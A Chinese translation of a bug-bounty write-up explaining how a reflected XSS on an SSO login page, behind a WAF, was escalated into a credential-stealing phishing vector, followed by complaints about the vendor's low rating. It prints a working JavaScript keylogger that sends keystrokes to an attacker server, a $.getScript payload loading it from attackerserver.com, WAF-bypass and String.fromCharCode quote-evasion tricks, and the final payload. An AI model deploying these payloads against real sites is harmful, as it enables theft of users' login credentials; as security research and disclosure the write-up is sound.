白帽故事 · 2025年12月30日

【文末有吐槽】如何将一个无害 XSS 提升为现实中的钓鱼Payload

前言

本文章将解释国外白帽大佬如何在一个网站的 SSO 登录页面上发现一处 XSS 漏洞,有人可能会认为这种类型的 XSS 毫无用处,因为通常需要受害者已认证才能执行后续的敏感操作,然而,这种说法是错误的,让我们一起来看看实战效果吧~

资产发现

前期利用 amass + httpx 发现目标资产:

amass enum -brute -d example.com '/home/user/.config/amass/config.ini' | httpx -title -tech-detect -status-code -ip -p 66,80,81,443,445,457,1080,1100,1241,1352,1433,1434,1521,1944,2301,3000,3128,3306,4000,4001,4002,4100,5000,5432,5800,5801,5802,6082,6346,6347,7001,7002,8080,8443,8888,30821

漏洞发现

通过Burp Scanner 捕获了如下一处漏洞:

file

该 URL 为用户单点登录(SSO)页面,除了包含几个与 OAuth 2.0 流程相关的参数外,该 URL 还包含一个名为 service 的参数。

该参数在与密码找回功能相关的 a 标签的 href 属性中未经适当过滤清理,从而产生了反射,其中存在使用双引号提前关闭属性的风险,因此,我们可以通过创建新的 HTML 属性注入 JavaScript 代码,从而导致基于属性的 XSS 漏洞。

漏洞利用

打印函数注入

首先,检查了是否可以注入 <> 字符,发现不仅可以注入属性,还可以注入新的标签,因此在这种情况下利用通常更容易:

file

可以看到,Payload是通过 URL 编码发送的,服务器会解码除<>之外的所有字符,这意味着无法注入新的标签。

接下来,尝试注入一个类似 onclick 的属性,但不使用 JavaScript 代码,以测试“危险”属性是否可以被注入:

file

OK,存在可能。但是如果将字符串 test 改为 JavaScript 函数 print(1),WAF 会阻止请求。

file

经过大量尝试以及分析服务器响应,白帽大佬意识到如果将Payload拆分成至少两个语句,用分号分隔,并且在第一个语句中使用括号,那么第二个语句就可以注入最初被 WAF 阻止的 JavaScript 代码:

file

基本确认反射型XSS漏洞,然而,它需要用户点击链接进行交互。

一种技巧是使用 onfocus 属性将 XSS 转换为无需用户交互,并通过哈希片段和包含Payload的标签 ID(forgot_btn)强制将焦点集中在 URL 上:

file

当用户通过在易受攻击的 URL 后面添加哈希 #forgot_btn 访问该链接时,JavaScript 代码会自动执行,而无需任何进一步的用户交互:

file

密码记录器注入

在登录页面上存在的 XSS 漏洞通常只有在用户未认证时才会执行,因为如果用户一旦认证,登录页面会重定向到网站的主页。

但如果用户未认证……又能攻击哪些敏感功能呢?这种 XSS 无法用来窃取用户的会话 Cookie 或迫使用户修改其数据……然而,认证过程本身其实就是一个敏感功能。

白帽大佬的朋友 IckoGZ 提供了一个好建议,那就是使用键盘记录器,这样一来,当用户通过恶意链接访问登录页面并输入自己的凭证时,所有信息都会被发送到攻击者的服务器。使用 IckoGZ 在 GitHub 上提供的 JavaScript 键盘记录器:

var keys='';
var url = 'http://yourIP/server.php?c=';

document.onkeypress = function(e) {
    get = window.event?event:e;
    key = get.keyCode?get.keyCode:get.charCode;
    key = String.fromCharCode(key);
    keys+=key;
}
window.setInterval(function(){
    if(keys.length>0) {
        new Image().src = url+keys;
        keys = '';
    }
}, 1000);

以上代码用于记录用户在页面上按下的每一个键,将按键动作转换为字符,并将这些字符累积到 keys 变量中。

每隔一秒,如果捕获到了任何按键信息,它会通过加载一张图片的方式创建一个 HTTP 请求,将这些字符静默地发送到外部服务器。

如果直接将此代码注入到Payload中会比较复杂,而且URL链接也会引起用户怀疑,并且很可能会被 WAF 拦截。

因此,白帽大佬采用的策略是将代码托管在外部 Web 服务器上——例如,使用 url 变量指向一个 Burp Collaborator 实例——并使用一个导入该代码的Payload,从而利用该网站已经使用了 jQuery 这一事实,选择以下Payload:

$.getScript("//attackerserver.com/keylogger.js"),function(){}

JavaScript 代码是嵌入在一个已经使用双引号的属性中的,因此最初只有两个选择:使用单引号或转义双引号。

一方面,由于单引号在响应中以 URL 编码形式出现,因此不能使用单引号:

file

由于某种未知原因(可能是 WAF 的原因),jQuery 的 getScript 方法被反射为 get,然而,如后文所示,这并不影响利用。

另一方面,转义的双引号在响应中被正确反射:

file

然而,出于未知的原因,代码在浏览器中没有被正确解析:

file

可以看到,浏览器的解析器在子域名前包含了一个空格,导致它将子域名解释为一个属性,并自动为其分配一个空字符串…

所以……如何在不使用引号的情况下声明和使用字符串?可以通过使用 String.fromCharCode 方法!

String.fromCharCode 是 String 对象的静态方法,它根据一系列数字值构造一个 String 实例,将每个值解释为 UTF-16 编码单元。

例如,如果我们想要生成以下 JavaScript 代码,而不使用单引号或双引号:

const url = "https://attackerserver.com/keylogger.js"

可以这样实现:

const url = String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,115,101,114,118,101,114,46,99,111,109,47,107,101,121,108,111,103,103,101,114,46,106,115);

为了避免手动编写每个字符,可以创建以下 JavaScript 脚本,它会根据给定的 URL 返回相应的 payload:

function getStringFromCharCodeRepresentation(inputString) {
    const charCodes = [...inputString].map(char => char.charCodeAt(0)).join(', ');
    const jsCode = `const url = String.fromCharCode(${charCodes});`;
    return jsCode;
}

const urlString = 'https://attackerserver.com/keylogger.js';
const generatedJsCode = getStringFromCharCodeRepresentation(urlString);
console.log(generatedJsCode);

在浏览器控制台运行此脚本会显示与该 URL 相关的Payload。因此最终的Payload如下:

const url = String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,115,101,114,118,101,114,46,99,111,109,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}

将以上技术应用于托管键盘记录器的子域并发送请求后,可以得到以下响应:

file

如果用户点击与该 GET 请求关联的链接,键盘记录程序将自动从恶意服务器导入,如果用户随后在登录表单中输入了自己的凭证,这些凭证信息将被发送到键盘记录程序中硬编码的 Burp Collaborator 服务器(即使没有点击登录按钮):

file

想象一下利用此漏洞进行钓鱼攻击的场景,攻击者可以使用恶意链接,在一个伪造的 Twitter 账户中宣传专为公司客户提供的独家优惠。如果用户使用 dig 或任何基于网络的 DNS 查询工具检查域名,会发现该域名解析到一个合法的公司域名。此外,被要求登录也不会显得异常,因为该优惠是针对现有客户的。

这个 URL 本身并不长,也不会触发典型的网络安全警报或明显的可疑——除非用户检查浏览器的 DevTools 中的 Network 标签,注意到从外部来源加载了键盘记录程序。如果没有这种程度的审查,相信很多人可能会中招!

漏洞后续(令人失望)

白帽大佬将漏洞报告向厂商提交了3次,第一次提交反射型XSS被拒绝,理由是:

“抱歉,此报告无法进一步利用,因此我们不会将其视为安全问题。感谢您的努力,期待您提交包含更详细 PoC 的新报告。”

第二次,利用XSS注入键盘记录器实现凭证窃取仍被拒绝,理由是:

“不可利用的漏洞,包括但不限于由自动化扫描器生成的误报(例如,仅基于过时的 Web 服务器版本的报告),以及一些微不足道或无实际影响的 XSS 案例,如Self XSS 或依赖社会工程或钓鱼攻击的 XSS 攻击。”

第三次,在漏洞赏金平台知晓沟通的情况下,白帽大佬主动通过电子邮件直接联系了对方公司的安全团队,并详细解释了漏洞细节。经过内部讨论后,对方重新开启了该报告,并给出了如下反馈:

“我们收到了您的邮件。经过内部讨论和评估,您指出的这个 XSS 漏洞虽然需要社会工程才能利用,但还有其他方式可以利用它,符合我们对低风险 XSS 漏洞的定义。因此,该漏洞被调整为低风险,奖励金额也随之调整。”

最终对方将漏洞CVSS评分重新定义为3.7(低风险),漏洞赏金20美元不到…

经验教训

  1. 不要因为一个看似无用的漏洞而失去希望——要富有创造力,始终寻找其潜在影响。在本案例中,最初发现了一个看起来毫无意义的 XSS 漏洞,因为它无法在认证上下文中被利用。然而,经过一番思考并花费几个小时尝试绕过 WAF 后,最终得到了一个强大的钓鱼利用,甚至可以用于红队实战演练。

  2. 在漏洞挖掘前,先对项目的质量进行研究。不要相信公司的声誉——从目前所看到的情况来看,“欺骗”行为相当普遍。这家公司非常知名,但漏洞的认定却深深地伤害了白帽。漏洞赏金平台也不会为你“说话”——他们根本不在乎你,毕竟你不是他们的客户。你可以询问其他赏金猎人,查看报告历史和付款记录……但不要浪费你的时间或心理健康在糟糕的项目上,可能连做Web2漏洞赏金都得不偿失!

原文:https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/